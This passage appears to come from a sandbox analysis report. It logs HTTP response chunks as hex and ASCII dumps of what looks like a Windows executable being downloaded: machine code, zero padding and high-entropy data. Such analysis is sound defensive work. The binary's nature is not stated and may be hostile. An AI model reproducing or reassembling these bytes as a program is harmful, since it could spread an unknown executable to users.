2023-07-27 16:27:35 UTC	688	IN	Data Raw: 32 30 30 30 0d 0a c3 6a 0c 68 c8 72 42 00 e8 b3 b9 ff ff 33 ff 47 89 7d e4 33 db 39 1d 94 a1 48 00 75 18 e8 cf c0 ff ff 6a 1e e8 19 bf ff ff 68 ff 00 00 00 e8 29 bc ff ff 59 59 8b 75 08 8d 34 f5 20 98 42 00 39 1e 74 04 8b c7 eb 6d 6a 18 e8 c7 d5 ff ff 59 8b f8 3b fb 75 0f e8 ec b0 ff ff c7 00 0c 00 00 00 33 c0 eb 50 6a 0a e8 58 00 00 00 59 89 5d fc 39 1e 75 2b 68 a0 0f 00 00 57 ff 15 90 11 40 00 85 c0 75 17 57 e8 41 9e ff ff 59 e8 b7 b0 ff ff c7 00 0c 00 00 00 89 5d e4 eb 0b 89 3e eb 07 57 e8 26 9e ff ff 59 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 4c b9 ff ff c3 6a 0a e8 29 ff ff ff 59 c3 8b ff 55 8b ec 8b 45 08 56 8d 34 c5 20 98 42 00 83 3e 00 75 13 50 e8 23 ff ff ff 59 85 c0 75 08 6a 11 e8 14 be ff ff 59 ff 36 ff 15 5c 11 40 00 5e 5d c3 2d a4 03 Data Ascii: 2000jhrB3G}39Hujh)YYu4 B9tmjY;u3PjXY]9u+hW@uWAY]>W&YEELj)YUEV4 B>uP#YujY6\@^]-
2023-07-27 16:27:35 UTC	696	IN	Data Raw: 5d 08 83 fb fe 75 Data Ascii: ]u
2023-07-27 16:27:35 UTC	696	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	696	IN	Data Raw: 32 30 30 30 0d 0a 13 e8 40 91 ff ff c7 00 09 00 00 00 83 c8 ff e9 a1 00 00 00 85 db 78 08 3b 1d 04 e5 32 02 72 12 e8 21 91 ff ff c7 00 09 00 00 00 e8 77 99 ff ff eb da 8b c3 c1 f8 05 8d 3c 85 20 e5 32 02 8b f3 83 e6 1f c1 e6 06 8b 07 0f be 44 06 04 83 e0 01 74 ce 53 e8 cf fe ff ff 59 83 65 fc 00 8b 07 f6 44 06 04 01 74 31 53 e8 52 fe ff ff 59 50 ff 15 48 11 40 00 85 c0 75 0b ff 15 b0 10 40 00 89 45 e4 eb 04 83 65 e4 00 83 7d e4 00 74 19 e8 c7 90 ff ff 8b 4d e4 89 08 e8 aa 90 ff ff c7 00 09 00 00 00 83 4d e4 ff c7 45 fc fe ff ff ff e8 0c 00 00 00 8b 45 e4 e8 4b 99 ff ff c3 8b 5d 08 53 e8 02 ff ff ff 59 c3 8b ff 55 8b ec 83 ec 10 ff 75 0c 8d 4d f0 e8 64 a3 ff ff 8b 45 f0 83 b8 ac 00 00 00 01 7e 13 8d 45 f0 50 6a 04 ff 75 08 e8 7f 05 00 00 83 c4 0c eb 10 8b Data Ascii: 2000@x;2r!w< 2DtSYeDt1SRYPH@u@Ee}tMMEEK]SYUuMdE~EPju
2023-07-27 16:27:35 UTC	704	IN	Data Raw: 83 a4 24 80 00 00 Data Ascii: $
2023-07-27 16:27:35 UTC	704	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	704	IN	Data Raw: 31 66 66 38 0d 0a 00 fe 89 6c 24 7c c7 44 24 40 4c 33 40 00 c7 84 24 dc 30 00 00 01 00 00 00 8b 44 24 78 8b d8 3b c5 74 4b 8b 38 3b fd 74 3c 55 8d 4c 24 18 e8 00 59 ff ff 8b 47 04 3b c5 76 09 83 f8 ff 73 04 48 89 47 04 8b 77 04 f7 de 1b f6 f7 d6 8d 4c 24 14 23 f7 e8 04 59 ff ff 3b f5 74 0a 8b 16 8b 02 6a 01 8b ce ff d0 53 e8 dc 63 ff ff 83 c4 04 8d 4c 24 44 c7 84 24 dc 30 00 00 ff ff ff ff e8 0a 59 ff ff b8 d1 05 00 00 01 05 d4 e4 32 02 8b 0d d4 e4 32 02 51 6a 00 ff 15 e8 10 40 00 8b 35 c4 10 40 00 8b 3d ec 10 40 00 8b 2d a0 10 40 00 8b 1d a8 10 40 00 a3 7c 44 32 02 a1 d4 e4 32 02 c7 44 24 14 ab 82 96 00 83 f8 03 75 11 6a 00 6a 00 6a 00 ff 15 1c 10 40 00 a1 d4 e4 32 02 3d df 00 00 00 0f 85 ca 01 00 00 33 d2 8d 8c 24 a0 00 00 00 51 52 52 8d 84 24 dc 00 00 Data Ascii: 1ff8l$\|D$@L3@$0D$x;tK8;t<UL$YG;vsHGwL$#Y;tjScL$D$0Y22Qj@5@=@-@@\|D22D$ujjj@2=3$QRR$
2023-07-27 16:27:35 UTC	712	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:35 UTC	712	IN	Data Raw: 7d e0 03 89 75 d8 7c d3 8b f0 6a 02 c1 e6 02 8d 4d f8 5a 2b ce 3b d0 7c 08 8b 31 89 74 95 f0 eb 05 83 64 95 f0 00 83 e9 04 4a 79 e9 8b 35 38 9c 48 00 4e 8d 46 01 99 83 e2 1f 03 c2 c1 f8 05 8d 56 01 81 e2 1f 00 00 80 89 45 d0 79 05 4a 83 ca e0 42 6a 1f 59 2b ca 33 d2 42 d3 e2 8d 5c 85 f0 89 4d d4 85 13 0f 84 82 00 00 00 83 ca ff d3 e2 f7 d2 85 54 85 f0 eb 05 83 7c 85 f0 00 75 08 40 83 f8 03 7c f3 eb 66 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 d8 00 33 d2 2b ce 42 d3 e2 8d 4c 85 f0 8b 31 8d 3c 16 3b fe 72 04 3b fa 73 07 c7 45 d8 01 00 00 00 89 39 8b 4d d8 eb 1f 85 c9 74 1e 8d 4c 85 f0 8b 11 8d 72 01 33 ff 3b f2 72 05 83 fe 01 73 03 33 ff 47 89 31 8b cf 48 79 de 8b 4d d4 83 c8 ff d3 e0 21 03 8b 45 d0 40 83 f8 03 7d Data Ascii: }u\|jMZ+;\|1tdJy58HNFVEyJBjY+3B\MT\|u@\|fjY#yNFe3+BL1<;r;sE9MtLr3;rs3G1HyM!E@}
2023-07-27 16:27:35 UTC	720	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	720	IN	Data Raw: 32 30 30 30 0d 0a 0f 84 90 00 00 00 6a 08 e8 fd 01 00 00 8b 45 10 59 b9 00 0c 00 00 23 c1 74 54 3d 00 04 00 00 74 37 3d 00 08 00 00 74 1a 3b c1 75 62 d9 ee 8b 4d 0c dc 19 df e0 dd 05 38 a0 48 00 f6 c4 05 7b 4c eb 48 d9 ee 8b 4d 0c dc 19 df e0 f6 c4 05 7b 2c dd 05 38 a0 48 00 eb 32 d9 ee 8b 4d 0c dc 19 df e0 f6 c4 05 7a 1e dd 05 38 a0 48 00 eb 1e d9 ee 8b 4d 0c dc 19 df e0 f6 c4 05 7a 08 dd 05 28 a0 48 00 eb 08 dd 05 28 a0 48 00 d9 e0 dd 19 83 e6 fe e9 d6 00 00 00 a8 02 0f 84 ce 00 00 00 f6 45 10 10 0f 84 c4 00 00 00 33 f6 a8 10 74 02 8b f3 57 8b 7d 0c dd 07 d9 ee da e9 df e0 f6 c4 44 0f 8b 91 00 00 00 dd 07 8d 45 f8 50 51 51 dd 1c 24 e8 10 04 00 00 8b 4d f8 dd 5d ec 81 c1 00 fa ff ff 83 c4 0c 81 f9 ce fb ff ff 7d 0d dd 45 ec 8b f3 dc 0d 20 34 40 00 eb 53 Data Ascii: 2000jEY#tT=t7=t;ubM8H{LHM{,8H2Mz8HMz(H(HE3tW}DEPQQ$M]}E 4@S
2023-07-27 16:27:35 UTC	728	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	728	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	728	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:35 UTC	736	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	736	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	736	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:35 UTC	744	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	744	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	744	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:35 UTC	752	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	752	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	752	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:35 UTC	760	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	760	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	760	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:35 UTC	768	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	768	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	768	IN	Data Raw: 31 66 66 38 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1ff8
2023-07-27 16:27:35 UTC	776	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:35 UTC	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	784	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	784	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:35 UTC	792	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	792	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	792	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:35 UTC	800	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	800	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	800	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:35 UTC	808	IN	Data Raw: 48 00 64 ac 48 00 Data Ascii: HdH
2023-07-27 16:27:35 UTC	808	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	808	IN	Data Raw: 32 30 30 30 0d 0a 7f 7f 7f 7f 7f 7f 7f 7f c4 97 42 00 68 ac 48 00 68 ac 48 00 68 ac 48 00 68 ac 48 00 68 ac 48 00 68 ac 48 00 68 ac 48 00 c8 97 42 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000BhHhHhHhHhHhHhHB
2023-07-27 16:27:35 UTC	816	IN	Data Raw: af e1 56 21 b3 41 Data Ascii: V!A
2023-07-27 16:27:35 UTC	816	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	816	IN	Data Raw: 32 30 30 30 0d 0a 2d eb 3d 32 63 79 62 f8 34 22 e3 1b ed b3 df 59 2d 09 9f cf 9d cb 5e 84 5e 2e 46 cb 35 9a e8 41 f8 dc 50 27 e8 ed b7 32 94 12 49 0d 38 c9 da ce 32 0b 6d 34 72 45 10 57 34 6e 92 c0 79 cc 24 8d e2 fa 2b aa 96 2f 51 bb 43 75 cf 6c 9f a8 69 77 0e e2 78 da 05 17 14 4f c5 25 68 c3 e9 6e b8 a0 1c 54 f3 57 a5 18 5f df 93 2f f0 20 fd 95 df ea 69 3c 0f 94 23 6f 49 c8 59 da 62 12 ca b3 be 13 9b 40 e6 5d 55 14 4a b6 09 d2 ab a6 0d 28 8e 7b 26 2d 55 e4 34 0f 11 31 e9 7a bc 69 4a ef 52 07 9d 6d 40 ae 3d c4 b3 ed f5 de 7c df 7b e6 b6 88 1d 5a d0 59 a5 a4 4b 93 d5 a5 d0 35 2e d1 24 e7 4e fa e6 79 db 07 54 5c 1f b2 d1 8c dd aa f2 3c 46 2a 41 fb 1d 92 d1 b4 38 7d fc ea 62 cf 47 ad b5 c2 82 55 0a a8 3f 85 95 66 9a 2b 3a 0d 5b 95 b1 4c fa 4a 1a 84 9d 6c 27 Data Ascii: 2000-=2cyb4"Y-^^.F5AP'2I82m4rEW4ny$+/QCuliwxO%hnTW_/ i<#oIYb@]UJ({&-U41ziJRm@=\|{ZYK5.$NyT\<F*A8}bGU?f+:[LJl'
2023-07-27 16:27:35 UTC	824	IN	Data Raw: 0d 01 d6 d8 54 a8 Data Ascii: T
2023-07-27 16:27:35 UTC	824	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	824	IN	Data Raw: 32 30 30 30 0d 0a ce 13 32 6f 4b 78 4c ad 02 b1 c9 e2 3a 5f 72 8f 47 2c 46 89 0b 15 3f a4 87 a5 ce 3d 2f 9a 2b 71 2c 54 c7 2c 9e 53 20 48 4c b3 9d 4a 58 cc 58 01 9f 64 0a a9 1d fe a4 99 63 9e eb 13 91 c6 97 27 11 d3 0a 7b a4 e8 89 e9 d4 fd 5a e2 78 ef 6c c0 ac 6b cd 6d b8 a9 ea e3 89 53 5a 1b c1 f7 0d 07 aa 03 bc 1f 0b ad d9 fd 21 23 d2 4f ec f0 44 21 e3 e5 03 2d 1a 0a 4f 51 a8 36 83 ed d6 48 dc 19 33 05 77 21 3b 5d a4 96 0b 0f 1d 6f c4 16 00 05 bd 59 f4 1a 59 b0 30 cb 7c 35 04 ce 3c f2 f3 87 4d d0 2a 4d 64 b8 9b 82 12 5c cc 3f 87 77 b0 68 5c b9 65 8e 72 18 85 54 aa 61 08 45 b3 26 55 8e be 25 a9 f9 32 08 89 5e bc f7 0a 6e 34 c3 0b 42 35 15 d9 07 fb c4 a9 80 b7 62 44 dc 4a 15 5f 33 eb 30 c8 86 a0 99 4d 02 08 2b f1 8e 5f c6 0a c2 5c 77 71 b8 27 e3 33 2e 91 Data Ascii: 20002oKxL:_rG,F?=/+q,T,S HLJXXdc'{ZxlkmSZ!#OD!-OQ6H3w!;]oYY0\|5<M*Md\?wh\erTaE&U%2^n4B5bDJ_30M+_\wq'3.
2023-07-27 16:27:35 UTC	832	IN	Data Raw: 41 96 f2 5f 81 37 Data Ascii: A_7
2023-07-27 16:27:35 UTC	832	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	832	IN	Data Raw: 31 66 66 38 0d 0a cd d3 56 0b 20 0f c5 55 56 b2 5c cc 46 97 9b 5f df dc 93 0a d2 3a 3f 77 ce be 37 98 e4 af bc 13 c1 72 bc d5 53 21 37 08 64 34 2e ae 39 11 1f ec f8 3d d7 5e 1f 9a 91 b1 61 b6 c8 cf 7a e2 de 2a 81 c4 ef a8 e1 3d 24 04 3e ed 56 7e 3b 7d 0b 88 28 eb 4d 9c f7 93 16 b7 d9 3a 3f f4 5a 54 f8 bf 42 1f 14 92 5d 0c 53 cf 1d cb a6 70 6f 35 11 e6 4b 2a 50 88 c4 85 d1 81 d8 1b 04 c5 47 22 a7 f6 6c df 11 ca ac 9c a3 82 15 b3 a5 14 e7 90 46 aa 49 7b 7f c5 f7 69 cb f7 eb dc 9f 7e e6 8b ba d9 cd eb 4c 0d c5 e7 b3 64 fa 43 f4 fa fa b0 0f 3e 01 8a 85 e5 18 73 d6 d7 60 ef bc 20 0a 29 b2 e9 f1 10 85 e6 3a ca d6 87 87 c3 0b 05 8a 27 45 dd 9b a4 5c ca ef e1 56 c9 d3 4d 3c 13 e0 1e 52 73 90 c0 68 ce 54 1d f9 84 ba 37 9e 2c df 12 d0 85 1d d3 23 4e b1 06 a0 74 8f Data Ascii: 1ff8V UV\F_:?w7rS!7d4.9=^az=$>V~;}(M:?ZTB]Spo5KPG"lFI{i~LdC>s` ):'E\VM<RshT7,#Nt
2023-07-27 16:27:35 UTC	840	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:35 UTC	840	IN	Data Raw: 11 86 16 c1 25 28 2d a5 ab 19 36 da 28 6c cc 58 f7 b1 9f c3 e4 a4 d1 8e 0b 68 bb 8c 4a 3b ff cd 44 f3 86 a7 08 07 4b 24 ea 47 fc 8e 94 5e c6 27 93 46 3a 13 4c 0f 0c 52 7a 7e a3 8a b3 97 2e 58 58 99 ca ea 1f 11 86 e3 a2 33 79 b4 d8 5e 20 e1 f6 b8 7d 4f 36 7c f4 2e 2f 0d 9d 56 7e 50 2d ea a1 ee 6e 18 44 1e f7 a0 71 77 60 67 ed bc e5 69 38 18 0c 08 19 d6 73 48 40 53 58 1a 7d 03 a3 fa 85 68 e7 53 98 dc 88 41 2d 4a e6 20 8b 91 b5 07 b8 f1 88 f7 de ad 48 4e 01 8d 81 7e 50 64 ad 44 fb be 7d 73 dd 96 eb d5 6d 83 0a 08 0c 85 58 eb 8c 87 d9 78 e9 ba ce ac 62 db 38 b3 c0 a1 0d 25 c6 ab 00 20 2d 36 5e 7e 82 8b ca bd 55 1c 96 a2 6d 18 91 bc 68 d7 a7 74 83 a4 cc 24 dd ce e1 aa 8f 86 dc e4 69 96 7f 4d a8 17 61 2e e4 78 50 55 34 5f 5e 6c 32 ee af 49 bd 49 08 d8 87 e9 db Data Ascii: %(-6(lXhJ;DK$G^'F:LRz~.XX3y^ }O6\|./V~P-nDqw`gi8sH@SX}hSA-J HN~PdD}smXxb8% -6^~Umht$iMa.xPU4_^l2II
2023-07-27 16:27:35 UTC	848	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	848	IN	Data Raw: 32 30 30 30 0d 0a c1 2d d2 0e 4b e3 ff 6f 47 21 07 1d 06 91 c2 94 92 c4 ca 53 ee f7 66 19 99 d4 ad b7 3e 33 82 6e 05 9a 73 f9 09 2f ef d9 fa c0 2f 91 c4 65 08 79 ce 14 dd ed 0d 5d 6f 9a 26 21 7c 29 5b 92 ef 91 f7 25 f2 fc 38 14 a3 74 e7 85 3d ac f0 b3 ad 0c 7e e3 f2 60 f0 d2 be 18 01 1f fa 31 39 33 99 fd 06 98 3a db 96 e8 ae 98 f7 5d 43 d1 d5 e7 d6 fc c1 30 eb c2 6a 6e 8e ba 3a 33 c6 03 c2 a9 58 64 f4 97 58 75 bc 3a 59 eb 06 cb c7 d3 74 f1 12 08 42 33 a3 54 06 1e bc 23 a4 cb 28 f5 cb 22 2a 30 b0 fe 98 b4 f5 12 b7 60 df 64 4a 85 cd e2 52 c5 1c 17 5e 3f b3 bf e2 8b e6 45 4d c7 50 e3 52 c6 dd bb b6 7c 03 d7 39 9c 7c d1 19 f5 db e7 c3 a2 51 4c f3 54 4f d7 0c 06 7c 1b 53 aa bf 5f 63 00 7f 79 3c 5a c6 2d fe 20 e1 9f d4 2a ac 64 d2 af e3 7c 89 69 d9 12 e1 7f 7b Data Ascii: 